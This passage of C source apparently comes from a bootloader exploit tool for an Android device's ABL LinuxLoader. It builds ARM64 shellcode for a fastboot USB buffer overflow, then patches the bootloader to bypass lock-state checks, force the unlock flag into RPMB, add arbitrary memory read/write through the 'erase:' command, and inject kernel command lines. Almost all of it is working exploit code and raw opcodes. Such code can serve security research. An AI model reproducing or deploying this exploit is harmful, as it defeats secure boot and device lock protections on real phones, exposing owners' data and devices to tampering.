OPCODE(buff + i + 0x1c, 0xc0, 0x03, 0x5f, 0xd6); // ret = [ c0 03 5f d6 ] return not doing anything for the 2nd invokation of this
OPCODE(buff + i + 0x20, 0xf8, 0xff, 0xff, 0x17); // b #-0x20 = [ f8 ff ff 17 ]
OPCODE(buff + i + 0x24, 0x3f, 0x00, 0x08, 0x71); // cmp w1, #0x200 = [ 3f 00 08 71 ] check if called from alternate code path as 1st invocation
OPCODE(buff + i + 0x28, 0x81, 0x00, 0x00, 0x54); // b.ne #0x10 = [ 81 00 00 54 ]
OPCODE(buff + i + 0x2c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ]
OPCODE(buff + i + 0x30, 0xf4, 0xff, 0xff, 0x17); // b #-0x30 = [ f4 ff ff 17 ]
OPCODE(buff + i + 0x34, 0xde, 0xf3, 0x02, 0xd1); // sub lr, lr, 0xbc = [ de f3 02 d1 ] called from alt code path 1st inv., adjust LR to &exploit_continue
OPCODE(buff + i + 0x38, 0xce, 0x03, 0x0e, 0xcb); // sub x14, lr, x14 = [ ce 03 0e cb ] x14 == LinuxLoader base addr
OPCODE(buff + i + 0x3c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ]
OPCODE(buff + i + 0x40, 0xf0, 0xff, 0xff, 0x17); // b #-0x40 = [ f0 ff ff 17 ]
OPCODE(buff + i + 0x44, 0xcc, 0x69, 0x6d, 0xf8); // ldr x12, [x14, x13] = [ cc 69 6d f8 ] x12 = orig fastboot_download_512MB_buffer_ptr
OPCODE(buff + i + 0x48, 0xce, 0x69, 0x2d, 0xf8); // str x14, [x14, x13] = [ ce 69 2d f8 ] fastboot_download_512MB_buffer_ptr = LinuxLoader base addr
OPCODE(buff + i + 0x4c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ]
OPCODE(buff + i + 0x50, 0xec, 0xff, 0xff, 0x17); // b #-0x50 = [ ec ff ff 17 ]
OPCODE(buff + i + 0x54, 0x2b, 0x22, 0xa2, 0x52); // movz w11, #0x1111, lsl #16 = [ 2b 22 a2 52 ]
OPCODE(buff + i + 0x58, 0x2b, 0x22, 0x82, 0x72); // movk w11, #0x1111 = [ 2b 22 82 72 ]
OPCODE(buff + i + 0x5c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ]
OPCODE(buff + i + 0x60, 0xe8, 0xff, 0xff, 0x17); // b #-0x60 = [ e8 ff ff 17 ]
//OPCODE(buff + i + 0x64, 0x8f, 0x01, 0x0b, 0x8b); // add x15, x12, x11 = [ 8f 01 0b 8b ] x15 == orig fastboot_download_512MB_buffer_ptr + 0x11111111
OPCODE(buff + i + 0x64, 0xcf, 0x01, 0x0b, 0x8b); // add x15, x14, x11 = [ cf 01 0b 8b ] x15 == LinuxLoader base addr + 0x11111111
OPCODE(buff + i + 0x68, 0x6f, 0x32, 0x00, 0xa9); // stp x15, x12, [x19] = [ 6f 32 00 a9 ] *hexlengthptr = x15; *(hexlengthptr + 8) = x12
OPCODE(buff + i + 0x6c, 0xc0, 0x03, 0x5f, 0xd6); // ret = [ c0 03 5f d6 ] return to &exploit_continue
OPCODE(buff + i + 0x70, 0xe4, 0xff, 0xff, 0x17); // b #-0x70 = [ e4 ff ff 17 ]
*(uint32_t *)(buff + i + 0x74) = payloadsize; // size of code section of the LinuxLoader.pe
*(uint32_t *)(buff + i + 0x78) = p114_stage1_cont; // offset of exploit_continue
*(uint32_t *)(buff + i + 0x7c) = 0xFB658; // offset of fastboot_download_512MB_buffer_ptr
}
}
static void p114_setup_test5(unsigned char *buff, int size, int offset, int payloadsize)
{
int i, j;
memset(buff, 0, size);
// offset == 0xfc (-0x04) seems to work good for both exploit hit variants
// with size set to 0xf3f4fc
i = offset >= 0x100000 ? offset : 0x100000 + (offset % 0x80);
for (; i < size; i += 0x80) {
for (j = 0; j < 0x4c; j += 4)
OPCODE(buff + i + j, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ]
OPCODE(buff + i - 0x100000 + 0x3c, 0x04,0x00,0x00,0x14);// b #0x10 = [ 04 00 00 14 ]
*(uint32_t *)(buff + i - 0x100000 + 0x40) = payloadsize;// size of code section of the LinuxLoader.pe
*(uint32_t *)(buff + i - 0x100000 + 0x44) = p114_stage1_cont;// offset of exploit_continue
*(uint32_t *)(buff + i - 0x100000 + 0x48) = 0xFB658; // offset of fastboot_download_512MB_buffer_ptr
OPCODE(buff + i + 0x4c, 0x0a, 0x00, 0x80, 0x10); // adr x10, #-0x100000 = [ 0a 00 80 10 ] x10 == buff + i + 0x4c - 0x100000
OPCODE(buff + i + 0x50, 0x40, 0x41, 0x5f, 0xb8); // ldr w0, [x10, #-0x0c] = [ 40 41 5f b8 ] w14 == offset of exploit_continue, w0 == LinuxLoader code size
OPCODE(buff + i + 0x54, 0x4e, 0x35, 0x7f, 0x29); // ldp w14, w13, [x10, #-0x08] = [ 4e 35 7f 29 ] w13 == offset of fastboot_download_512MB_buffer_ptr
OPCODE(buff + i + 0x58, 0x7f, 0x00, 0x00, 0xeb); // cmp x3, x0 = [ 7f 00 00 eb ] check if called from alternate code path with size in x3
OPCODE(buff + i + 0x5c, 0x00, 0x01, 0x00, 0x54); // b.eq #0x20 = [ 00 01 00 54 ] if eq it is the second call of this code -> jmp to return
OPCODE(buff + i + 0x60, 0x3f, 0x00, 0x08, 0x71); // cmp w1, #0x200 = [ 3f 00 08 71 ] check if called from alternate code path as 1st invocation
OPCODE(buff + i + 0x64, 0x41, 0x00, 0x00, 0x54); // b.ne #0x08 = [ 41 00 00 54 ]
OPCODE(buff + i + 0x68, 0xde, 0xf3, 0x02, 0xd1); // sub lr, lr, #0xbc = [ de f3 02 d1 ] called from alt code path 1st inv., adjust LR to &exploit_continue
OPCODE(buff + i + 0x6c, 0xce, 0x03, 0x0e, 0xcb); // sub x14, lr, x14 = [ ce 03 0e cb ] x14 == LinuxLoader base addr
OPCODE(buff + i + 0x70, 0xcc, 0x69, 0x6d, 0xf8); // ldr x12, [x14, x13] = [ cc 69 6d f8 ] x12 = orig fastboot_download_512MB_buffer_ptr
OPCODE(buff + i + 0x74, 0xce, 0x69, 0x2d, 0xf8); // str x14, [x14, x13] = [ ce 69 2d f8 ] fastboot_download_512MB_buffer_ptr = LinuxLoader base addr
OPCODE(buff + i + 0x78, 0x7e, 0x32, 0x00, 0xa9); // stp lr, x12, [x19] = [ 7e 32 00 a9 ] *hexlengthptr = lr; *(hexlengthptr + 8) = x12
OPCODE(buff + i + 0x7c, 0xc0, 0x03, 0x5f, 0xd6); // ret = [ c0 03 5f d6 ] return to &exploit_continue
}
}
static void p114_patch_abl(unsigned char *ablcode, int extended)
{
OPCODE(ablcode + 0x264A4 + 0x00, 0x1e, 0x00, 0x00, 0x14); // b #0x78 = [ 1e 00 00 14 ] skip "Remap recovery => FOTAKernel" functionality in favor of our code,
//OPCODE(ablcode + 0x264D0 + 0x00, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] skipping also "Flashing is not allowed in Lock State" error
OPCODE(ablcode + 0x2655C + 0x00, 0x81, 0x07, 0x00, 0x54); // b.ne #0xf0 = [ 81 07 00 54 ] skip few more checks in favor of our code (0x26560..0x26648+4 available)
// exploit_2nd_phase_start: first invalidate ABL LinuxLoader code range
// this is triggered by "flash:fb" command that would normally result with "No such partition." error
OPCODE(ablcode + 0x26560 + 0x00, 0xc0, 0xfe, 0xff, 0xd0); // adrp x0, #-0x26000 = [ c0 fe ff d0 ]
OPCODE(ablcode + 0x26560 + 0x04, 0x01, 0x9c, 0x43, 0x91); // add x1, x0, #0xe7000 = [ 01 9c 43 91 ] Code boundary of LinuxLoader-p114.pe is 0x000e7000
OPCODE(ablcode + 0x26560 + 0x08, 0x48, 0x19, 0x00, 0x94); // bl #0x6520 = [ 48 19 00 94 ]
OPCODE(ablcode + 0x26560 + 0x0c, 0x00, 0x80, 0x00, 0x91); // add x0, x0, #0x20 = [ 00 80 00 91 ]
OPCODE(ablcode + 0x26560 + 0x10, 0x1f, 0x00, 0x01, 0xeb); // cmp x0, x1 = [ 1f 00 01 eb ]
OPCODE(ablcode + 0x26560 + 0x14, 0xab, 0xff, 0xff, 0x54); // b.lt #-0x0c = [ ab ff ff 54 ]
OPCODE(ablcode + 0x26560 + 0x18, 0x61, 0xb2, 0x00, 0x94); // bl #0x2c984 = [ 61 b2 00 94 ]
// restore original value of fastboot_download_512MB_buffer_ptr stored previously into "usb command buffer + 0x11" (x19 now points after "flash:" cmd, i.e. 0x06+0x0b=0x11)
OPCODE(ablcode + 0x26560 + 0x1c, 0x64, 0xb2, 0x40, 0xf8); // ldr x4, [x19, #0x0b] = [ 64 b2 40 f8 ] orig fastboot_download_512MB_buffer_ptr
OPCODE(ablcode + 0x26560 + 0x20, 0xa2, 0x06, 0x00, 0xb0); // adrp x2, #0xd5000 = [ a2 06 00 b0 ] fastboot_download_512MB_buffer_ptr@PAGE (0xFB658)
OPCODE(ablcode + 0x26560 + 0x24, 0x42, 0x60, 0x19, 0x91); // add x2, x2, #0x658 = [ 42 60 19 91 ] fastboot_download_512MB_buffer_ptr@POFF (0xFB658)
OPCODE(ablcode + 0x26560 + 0x28, 0x44, 0x04, 0x00, 0xf9); // str x4, [x2, #0x08] = [ 44 04 00 f9 ] restore orig fastboot_download_512MB_buffer_ptr
// send base addr of LinuxLoader as hex string after the FAIL fastboot response
// and also address of usb command buffer that can overflow
// .text:00000000000AFA8F DCB "%x/%x",0xA,0
OPCODE(ablcode + 0x26560 + 0x2c, 0xc3, 0xfe, 0xff, 0xd0); // adrp x3, #-0x26000 = [ c3 fe ff d0 ]
OPCODE(ablcode + 0x26560 + 0x30, 0xe0, 0x03, 0x00, 0x91); // add x0, sp, #0x00 = [ e0 03 00 91 ] we have 0x198 bytes available on stack in "No such partition." handler
OPCODE(ablcode + 0x26560 + 0x34, 0x01, 0x03, 0x80, 0x52); // mov w1, #0x18 = [ 01 03 80 52 ]
OPCODE(ablcode + 0x26560 + 0x38, 0x42, 0x04, 0x00, 0xb0); // adrp x2, #0x89000 = [ 42 04 00 b0 ] "%x/%x\n"@PAGE
OPCODE(ablcode + 0x26560 + 0x3c, 0x42, 0x3c, 0x2a, 0x91); // add x2, x2, #0xa8f = [ 42 3c 2a 91 ] "%x/%x\n"@POFF
OPCODE(ablcode + 0x26560 + 0x40, 0x64, 0x1a, 0x00, 0xd1); // sub x4, x19, #0x06 = [ 64 1a 00 d1 ] substract legth of "flash:" command
OPCODE(ablcode + 0x26560 + 0x44, 0xaa, 0x6e, 0xff, 0x97); // bl #-0x24558 = [ aa 6e ff 97 ] snprintf
OPCODE(ablcode + 0x26560 + 0x48, 0xe0, 0x03, 0x00, 0x91); // add x0, sp, #0x00 = [ e0 03 00 91 ]
OPCODE(ablcode + 0x26560 + 0x4c, 0xab, 0xff, 0xff, 0x17); // b #-0x154 = [ ab ff ff 17 ]
// patch debug logging verbosity check to always be the most verbose
OPCODE(ablcode + 0x07CE8 + 0x00, 0x00, 0x00, 0x80, 0x12); // mov w0, #-1 = [ 00 00 80 12 ]
OPCODE(ablcode + 0x07CE8 + 0x04, 0xc0, 0x03, 0x5f, 0xd6); // ret = [ c0 03 5f d6 ]
// patch the "oem unlock" command to directly set unlock state with 'X' for 0 (locked) or with 'Y' for 1 (unlocked)
OPCODE(ablcode + 0x4D9E4 + 0x00, 0x62, 0x06, 0x40, 0x39); // ldrb w2, [x19, #0x01] = [ 62 06 40 39 ]
OPCODE(ablcode + 0x4D9E4 + 0x04, 0x42, 0x60, 0x01, 0x51); // sub w2, w2, #0x58 = [ 42 60 01 51 ] 'X' or 'Y' aka "locked" or "unlocked"
OPCODE(ablcode + 0x4D9E4 + 0x08, 0x5f, 0x04, 0x00, 0x71); // cmp w2, #0x01 = [ 5f 04 00 71 ]
OPCODE(ablcode + 0x4D9E4 + 0x0c, 0x88, 0x01, 0x00, 0x54); // b.hi #0x30 = [ 88 01 00 54 ]
OPCODE(ablcode + 0x4D9E4 + 0x10, 0x21, 0x05, 0x00, 0xd0); // adrp x1, #0xa6000 = [ 21 05 00 d0 ] locate the struct with bootloader state flag (0xF3B78)
OPCODE(ablcode + 0x4D9E4 + 0x14, 0x21, 0xe0, 0x2d, 0x91); // add x1, x1, #0xb78 = [ 21 e0 2d 91 ]
OPCODE(ablcode + 0x4D9E4 + 0x18, 0x22, 0x34, 0x00, 0x39); // strb w2, [x1, #13] = [ 22 34 00 39 ] set the bootloader unlock state
OPCODE(ablcode + 0x4D9E4 + 0x1c, 0x02, 0x33, 0x81, 0x52); // mov w2, #0x998 = [ 02 33 81 52 ]
OPCODE(ablcode + 0x4D9E4 + 0x20, 0x20, 0x00, 0x80, 0x52); // mov w0, #0x01 = [ 20 00 80 52 ]
OPCODE(ablcode + 0x4D9E4 + 0x24, 0xba, 0x28, 0xff, 0x97); // bl #-0x35d18 = [ ba 28 ff 97 ] commit the changes to rpmb
OPCODE(ablcode + 0x4D9E4 + 0x28, 0x55, 0x00, 0x00, 0x14); // b #0x154 = [ 55 00 00 14 ] jump to "Failed to set MASTER_RESET to 0x02 on rooted unit!"
// debug log with OKAY fastboot response
// patch "erase:" command to set download mode usb buffer address
// "erase:0xhexaddr" for data from host to device (normal behavior of "download:" command)
// "erase:0Xhexaddr" for data from device to host (upload behavior of "download:" command)
OPCODE(ablcode + 0x28298 + 0x00, 0xc1, 0x02, 0x40, 0x39); // ldrb w1, [x22] = [ c1 02 40 39 ]
OPCODE(ablcode + 0x28298 + 0x04, 0x3f, 0xc0, 0x00, 0x71); // cmp w1, #0x30 = [ 3f c0 00 71 ] '0'
OPCODE(ablcode + 0x28298 + 0x08, 0x81, 0x03, 0x00, 0x54); // b.ne #0x70 = [ 81 03 00 54 ]
OPCODE(ablcode + 0x28298 + 0x0c, 0xc1, 0x06, 0x40, 0x39); // ldrb w1, [x22, #0x01] = [ c1 06 40 39 ]
OPCODE(ablcode + 0x28298 + 0x10, 0x3f, 0x60, 0x01, 0x71); // cmp w1, #0x58 = [ 3f 60 01 71 ] 'X'
OPCODE(ablcode + 0x28298 + 0x14, 0x62, 0x00, 0x80, 0x52); // mov w2, #0x03 = [ 62 00 80 52 ] 0x03 for the init state of upload mode
OPCODE(ablcode + 0x28298 + 0x18, 0x42, 0x00, 0x9f, 0x1a); // csel w2, w2, wzr, eq = [ 42 00 9f 1a ] set our flag to init upload (0x02) instead of download (0x00)
OPCODE(ablcode + 0x28298 + 0x1c, 0x95, 0x06, 0x00, 0xf0); // adrp x21, #0xd3000 = [ 95 06 00 f0 ] fastboot_download_mode_init_upload@PAGE (0xFBE62)
OPCODE(ablcode + 0x28298 + 0x20, 0xa2, 0x8a, 0x39, 0x39); // strb w2, [x21, #0xe62] = [ a2 8a 39 39 ] fastboot_download_mode_init_upload@POFF setup our new flag
OPCODE(ablcode + 0x28298 + 0x24, 0xe0, 0x03, 0x16, 0xaa); // mov x0,x22 = [ e0 03 16 aa ]
OPCODE(ablcode + 0x28298 + 0x28, 0x2e, 0x7a, 0xff, 0x97); // bl #-0x21748 = [ 2e 7a ff 97 ] convert string to integer
OPCODE(ablcode + 0x28298 + 0x2c, 0xa3, 0x2e, 0x43, 0xf9); // ldr x3, [x21, #0x658] = [ a3 2e 43 f9 ] fastboot_download_512MB_buffer_ptr@POFF (0xFB658)
OPCODE(ablcode + 0x28298 + 0x30, 0xa0, 0x2e, 0x03, 0xf9); // str x0, [x21, #0x658] = [ a0 2e 03 f9 ] fastboot_download_512MB_buffer_ptr@POFF
OPCODE(ablcode + 0x28298 + 0x34, 0xe0, 0x03, 0x01, 0x91); // add x0, sp, #0x40 = [ e0 03 01 91 ]
OPCODE(ablcode + 0x28298 + 0x38, 0x01, 0x08, 0x80, 0x52); // mov w1, #0x40 = [ 01 08 80 52 ]
OPCODE(ablcode + 0x28298 + 0x3c, 0x62, 0x04, 0x00, 0xb0); // adrp x2, #0x8d000 = [ 62 04 00 b0 ] (" 0x%llx" + 1)@PAGE
OPCODE(ablcode + 0x28298 + 0x40, 0x42, 0x38, 0x16, 0x91); // add x2, x2, #0x58e = [ 42 38 16 91 ] (" 0x%llx" + 1)@POFF (==0xB558D+1)
OPCODE(ablcode + 0x28298 + 0x44, 0x5c, 0x67, 0xff, 0x97); // bl #-0x26290 = [ 5c 67 ff 97 ] snprintf
OPCODE(ablcode + 0x28298 + 0x48, 0xe0, 0x03, 0x01, 0x91); // add x0, sp, #0x40 = [ e0 03 01 91 ]
OPCODE(ablcode + 0x28298 + 0x4c, 0xdc, 0xff, 0xff, 0x17); // b #-0x90 = [ dc ff ff 17 ] exit with fastboot FAIL with prev big usb buff addr
// patch "Download Finished" to invalidate data cache of the whole region just transferred via "download" command
// and also invalidate instruction cache
OPCODE(ablcode + 0x24B3C + 0x00, 0xc0, 0x1e, 0x40, 0xf9); // ldr x0, [x22, #0x38] = [ c0 1e 40 f9 ] fastboot_download_512MB_buffer_ptr (0xFB658)
OPCODE(ablcode + 0x24B3C + 0x04, 0x01, 0x00, 0x0c, 0x8b); // add x1, x0, x12 = [ 01 00 0c 8b ]
OPCODE(ablcode + 0x24B3C + 0x08, 0xd1, 0x1f, 0x00, 0x94); // bl #0x7f44 = [ d1 1f 00 94 ]
OPCODE(ablcode + 0x24B3C + 0x0c, 0x00, 0x80, 0x00, 0x91); // add x0, x0, #0x20 = [ 00 80 00 91 ]
OPCODE(ablcode + 0x24B3C + 0x10, 0x1f, 0x00, 0x01, 0xeb); // cmp x0, x1 = [ 1f 00 01 eb ]
OPCODE(ablcode + 0x24B3C + 0x14, 0xab, 0xff, 0xff, 0x54); // b.lt #-0x0c = [ ab ff ff 54 ]
OPCODE(ablcode + 0x24B3C + 0x18, 0xea, 0xb8, 0x00, 0x94); // bl #0x2e3a8 = [ ea b8 00 94 ]
// 024B58 81 04 00 90 21 80 01 91 ADRL X1, aDownloadFinish ; "Download Finished\n"
OPCODE(ablcode + 0x28DDC + 0x00, 0xe0, 0x0a, 0x61, 0x39); // ldrb w0, [x23, #0x842] = [ e0 0a 61 39 ] fastboot_download_mode_init_upload
OPCODE(ablcode + 0x28DDC + 0x04, 0x21, 0x00, 0x80, 0x52); // mov w1, #0x01 = [ 21 00 80 52 ]
OPCODE(ablcode + 0x28DDC + 0x08, 0x1f, 0x00, 0x1f, 0x6b); // cmp w0, wzr = [ 1f 00 1f 6b ] set mode to normal download (0x01) or our new upload (0x03)
OPCODE(ablcode + 0x28DDC + 0x0c, 0x20, 0x00, 0x80, 0x1a); // csel w0, w1, w0, eq = [ 20 00 80 1a ] (value 0x03 have been set from "erase:0X" as a flag to init_upload)
OPCODE(ablcode + 0x28DDC + 0x10, 0x6b, 0x06, 0x00, 0x90); // adrp x11, #0xcc000 = [ 6b 06 00 90 ] fastboot_download_mode_512MB_active@PAGE (0xF4618)
OPCODE(ablcode + 0x28DDC + 0x14, 0x60, 0x61, 0x18, 0x39); // strb w0, [x11, #0x618] = [ 60 61 18 39 ] fastboot_download_mode_512MB_active
OPCODE(ablcode + 0x28DDC + 0x18, 0xc0, 0x03, 0x00, 0x54); // b.eq #0x78 = [ c0 03 00 54 ] extend down here to clean data cache before starting upload
OPCODE(ablcode + 0x28DDC + 0x1c, 0xe0, 0x1e, 0x40, 0xf9); // ldr x0, [x23, #0x38] = [ e0 1e 40 f9 ] fastboot_download_512MB_buffer_ptr
OPCODE(ablcode + 0x28DDC + 0x20, 0x01, 0x00, 0x08, 0x8b); // add x1, x0, x8 = [ 01 00 08 8b ] size of the transfer is in x8
OPCODE(ablcode + 0x28DDC + 0x24, 0x22, 0x0f, 0x00, 0x94); // bl #0x3c88 = [ 22 0f 00 94 ] clean data cache to push changes to ram
OPCODE(ablcode + 0x28DDC + 0x28, 0x00, 0x80, 0x00, 0x91); // add x0, x0, #0x20 = [ 00 80 00 91 ]
OPCODE(ablcode + 0x28DDC + 0x2c, 0x1f, 0x00, 0x01, 0xeb); // cmp x0, x1 = [ 1f 00 01 eb ]
OPCODE(ablcode + 0x28DDC + 0x30, 0xab, 0xff, 0xff, 0x54); // b.lt #-0x0c = [ ab ff ff 54 ]
OPCODE(ablcode + 0x28DDC + 0x34, 0x17, 0x00, 0x00, 0x14); // b #0x5c = [ 17 00 00 14 ] continue to "upload" after syncing cache to memory
OPCODE(ablcode + 0x28EE0 + 0x00, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] avoid the original set of download mode to 0x01 in cmd "download:"
// instead of fixed value of 0x01 aka ENDPOINT_IN, switched to ENDPOINT_OUT if indicated by extended state in fastboot_download_mode_512MB_active
// so it can be set via "erase:0x" or "erase:0X" command to 0x81 aka ENDPOINT_OUT alternativ
OPCODE(ablcode + 0x24C80 + 0x00, 0x2d, 0x10, 0x80, 0x52); // mov w13, #0x81 = [ 2d 10 80 52 ]
OPCODE(ablcode + 0x24C80 + 0x04, 0xae, 0x62, 0x58, 0x39); // ldrb w14, [x21, #0x618] = [ ae 62 58 39 ] fastboot_download_mode_512MB_active
OPCODE(ablcode + 0x24C80 + 0x08, 0xdf, 0x05, 0x00, 0x71); // cmp w14, #0x01 = [ df 05 00 71 ]
OPCODE(ablcode + 0x24C80 + 0x0c, 0x00, 0x00, 0x8d, 0x9a); // csel x0, x0, x13, eq = [ 00 00 8d 9a ]
OPCODE(ablcode + 0x24C80 + 0x10, 0x80, 0x02, 0x3f, 0xd6); // blr x20 = [ 80 02 3f d6 ] (orig inst from 0x24C80)
OPCODE(ablcode + 0x24C80 + 0x14, 0x03, 0x00, 0x00, 0x14); // b #0x0c = [ 03 00 00 14 ]
OPCODE(ablcode + 0x23A44 + 0x00, 0xcb, 0x0d, 0x00, 0x54); // b.lt #0x1b8 = [ cb 0d 00 54 ] fix branch condition to reflect extended states in fastboot_download_mode_512MB_active
// this is to reset fastboot_download_mode_512MB_active to zero right after download/upload finished before sending fastboot status
OPCODE(ablcode + 0x24B60 + 0x00, 0xde, 0xff, 0xff, 0x17); // b #-0x88 = [ de ff ff 17 ] jump after branch of following code
OPCODE(ablcode + 0x24AD4 + 0x00, 0x07, 0x00, 0x00, 0x14); // b #0x1c = [ 07 00 00 14 ] make some room for additional code
OPCODE(ablcode + 0x24AD4 + 0x04, 0x95, 0x06, 0x00, 0x90); // adrp x21, #0xd0000 = [ 95 06 00 90 ] fastboot_download_mode_512MB_active@PAGE (0xf4618)
OPCODE(ablcode + 0x24AD4 + 0x08, 0xbf, 0x62, 0x18, 0x39); // strb wzr, [x21, #0x618] = [ bf 62 18 39 ] fastboot_download_mode_512MB_active = 0
OPCODE(ablcode + 0x24AD4 + 0x10, 0x00, 0x08, 0x80, 0x52); // mov w0, #0x40 = [ 00 08 80 52 ] orig instruction from 0x24B60
OPCODE(ablcode + 0x24AD4 + 0x14, 0x20, 0x00, 0x00, 0x14); // b #0x80 = [ 20 00 00 14 ] jump back to continue
// extend usb transfer state machine with states to handle upload in download command
OPCODE(ablcode + 0x23A2C + 0x00, 0xa0, 0x09, 0x00, 0x54); // b.eq #0x134 = [ a0 09 00 54 ] jump after the debug level check so we can use that for a patch
OPCODE(ablcode + 0x23B34 + 0x00, 0x81, 0x00, 0x00, 0x54); // b.ne #0x10 = [ 81 00 00 54 ] go to check additional mode values if it is not the orig dnld
OPCODE(ablcode + 0x23B44 + 0x00, 0x9f, 0x0e, 0x00, 0x71); // cmp w20, #0x03 = [ 9f 0e 00 71 ] is this download switched to upload mode?
OPCODE(ablcode + 0x23B44 + 0x04, 0xa1, 0x01, 0x00, 0x54); // b.ne #0x34 = [ a1 01 00 54 ] branch to check for upload continue machine state
OPCODE(ablcode + 0x23B44 + 0x08, 0x88, 0x09, 0x00, 0x94); // bl #0x2620 = [ 88 09 00 94 ] get_fastboot_download_mode_512MB_buffer_ptr
OPCODE(ablcode + 0x23B44 + 0x0c, 0xe2, 0x03, 0x00, 0xaa); // mov x2, x0 = [ e2 03 00 aa ]
OPCODE(ablcode + 0x23B44 + 0x10, 0x20, 0x10, 0x80, 0x52); // mov w0, 0x81 = [ 20 10 80 52 ]
OPCODE(ablcode + 0x23B44 + 0x14, 0xb0, 0x00, 0x80, 0x52); // mov w16, #0x05 = [ b0 00 80 52 ]
OPCODE(ablcode + 0x23B44 + 0x18, 0xe5, 0xff, 0xff, 0x17); // b #-0x6c = [ e5 ff ff 17 ] continue to 0x23AF0 address with following code:
OPCODE(ablcode + 0x23AEC + 0x00, 0x07, 0x00, 0x00, 0x14); // b #0x1c = [ 07 00 00 14 ] jump after the debug level check so we can use that for a patch
OPCODE(ablcode + 0x23AEC + 0x04, 0x91, 0x06, 0x00, 0xb0); // adrp x17, #0xd1000 = [ 91 06 00 b0 ] fastboot_download_mode_512MB_active@PAGE
OPCODE(ablcode + 0x23AEC + 0x08, 0x30, 0x62, 0x18, 0x39); // strb w16, [x17, #0x618] = [ 30 62 18 39 ] fastboot_download_mode_512MB_active = 0x03 i.e. upload started
OPCODE(ablcode + 0x23AEC + 0x0c, 0x55, 0x00, 0x00, 0x14); // b #0x154 = [ 55 00 00 14 ] branch to the usb send function after set of endpoint, we use 0x81 instead
OPCODE(ablcode + 0x23B78 + 0x00, 0x40, 0x00, 0x00, 0x14); // b #0x100 = [ 40 00 00 14 ] jump after the debug level check so we can use that for a patch
OPCODE(ablcode + 0x23B78 + 0x04, 0x9f, 0x16, 0x00, 0x71); // cmp w20, #0x05 = [ 9f 16 00 71 ] is this download switched to upload mode, upload continue state?
OPCODE(ablcode + 0x23B78 + 0x08, 0xe1, 0x05, 0x00, 0x54); // b.ne #0xbc = [ e1 05 00 54 ] if not, branch to the setup of fastboot command usb receive mode default
OPCODE(ablcode + 0x23B78 + 0x0c, 0x7a, 0x09, 0x00, 0x94); // bl #0x25e8 = [ 7a 09 00 94 ] get_fastboot_download_mode_512MB_buffer_ptr
OPCODE(ablcode + 0x23B78 + 0x10, 0xe1, 0x03, 0x00, 0xaa); // mov x1, x0 = [ e1 03 00 aa ]
OPCODE(ablcode + 0x23B78 + 0x14, 0xe0, 0x0f, 0x40, 0xf9); // ldr x0, [sp, #0x18] = [ e0 0f 40 f9 ]
OPCODE(ablcode + 0x23B78 + 0x18, 0xc8, 0x03, 0x00, 0x94); // bl #0x0f20 = [ c8 03 00 94 ] call "DataReady %d\n" / "Download Finished\n" function
OPCODE(ablcode + 0x23B78 + 0x1c, 0x1f, 0x00, 0x00, 0x14); // b #0x7c = [ 1f 00 00 14 ] jump to end of this function bellow returning zero status
OPCODE(ablcode + 0x56164, 0xe8, 0x03, 0x1f, 0x2a); // mov w8, wzr = [ e8 03 1f 2a ] do not log XReplace start
OPCODE(ablcode + 0x562B0, 0xea, 0x03, 0x1f, 0x2a); // mov w10, wzr = [ ea 03 1f 2a ] do not log XReplace end
if (extended > 0) {
OPCODE(ablcode + 0x286DC, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] do not jump to "Command not allowed" when handling 'boot' cmd
// following not needed as we skip it already within the 2nd stage exploit
//OPCODE(ablcode + 0x264D0, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] do not jump to "Flashing is not allowed in Lock State" in 'flash' cmd
//OPCODE(ablcode + 0x282C4, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] do not jump to "Erase is not allowed in Lock State" in 'erase' cmd
}
if (extended > 1) {
if (cmdline[0] != '\0') {
strcpy(ablcode, cmdline);
OPCODE(ablcode + 0x09258 + 0x00, 0xa1, 0xff, 0xff, 0xf0); // adrp x1, #-0x9000 = [ a1 ff ff f0 ]
OPCODE(ablcode + 0x09258 + 0x04, 0xe0, 0x03, 0x13, 0xaa); // mov x0, x19 = [ e0 03 13 aa ]
OPCODE(ablcode + 0x09258 + 0x08, 0x5c, 0x00, 0x00, 0x94); // bl #0x0170 = [ 5c 00 00 94 ]
OPCODE(ablcode + 0x09258 + 0x0c, 0x32, 0xfe, 0xff, 0x17); // b #-0x0738 = [ 32 fe ff 17 ]
}
if (cmdlinex[0] != '\0') {
if (cmdline[0] != '\0')
OPCODE(ablcode + 0x09258 + 0x0c, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ]
else
OPCODE(ablcode + 0x09258 + 0x00, 0x04, 0x00, 0x00, 0x14); // b #0x10 = [ 04 00 00 14 ]
strcpy(ablcode + 0x00800, cmdlinex);
OPCODE(ablcode + 0x09258 + 0x10, 0x1c, 0x07, 0x00, 0x90); // adrp x28, #0xe0000 = [ 1c 07 00 90 ]
OPCODE(ablcode + 0x09258 + 0x14, 0x9c, 0xd3, 0x43, 0xf9); // ldr x28, [x28, #0x7a0] = [ 9c d3 43 f9 ]
OPCODE(ablcode + 0x09258 + 0x18, 0x80, 0x43, 0x40, 0xf9); // ldr x0, [x28, #0x80] = [ 80 43 40 f9 ]
OPCODE(ablcode + 0x09258 + 0x1c, 0xa1, 0xff, 0xff, 0xf0); // adrp x1, #-0x9000 = [ a1 ff ff f0 ]
OPCODE(ablcode + 0x09258 + 0x20, 0x21, 0x00, 0x20, 0x91); // add x1, x1, #0x800 = [ 21 00 20 91 ]
OPCODE(ablcode + 0x09258 + 0x24, 0xf5, 0xb4, 0x00, 0x94); // bl #0x2d3d4 = [ f5 b4 00 94 ]
OPCODE(ablcode + 0x09258 + 0x28, 0x80, 0x43, 0x00, 0xf9); // str x0, [x28, #0x80] = [ 80 43 00 f9 ]
OPCODE(ablcode + 0x09258 + 0x2c, 0x2a, 0xfe, 0xff, 0x17); // b #-0x0758 = [ 2a fe ff 17 ]
}
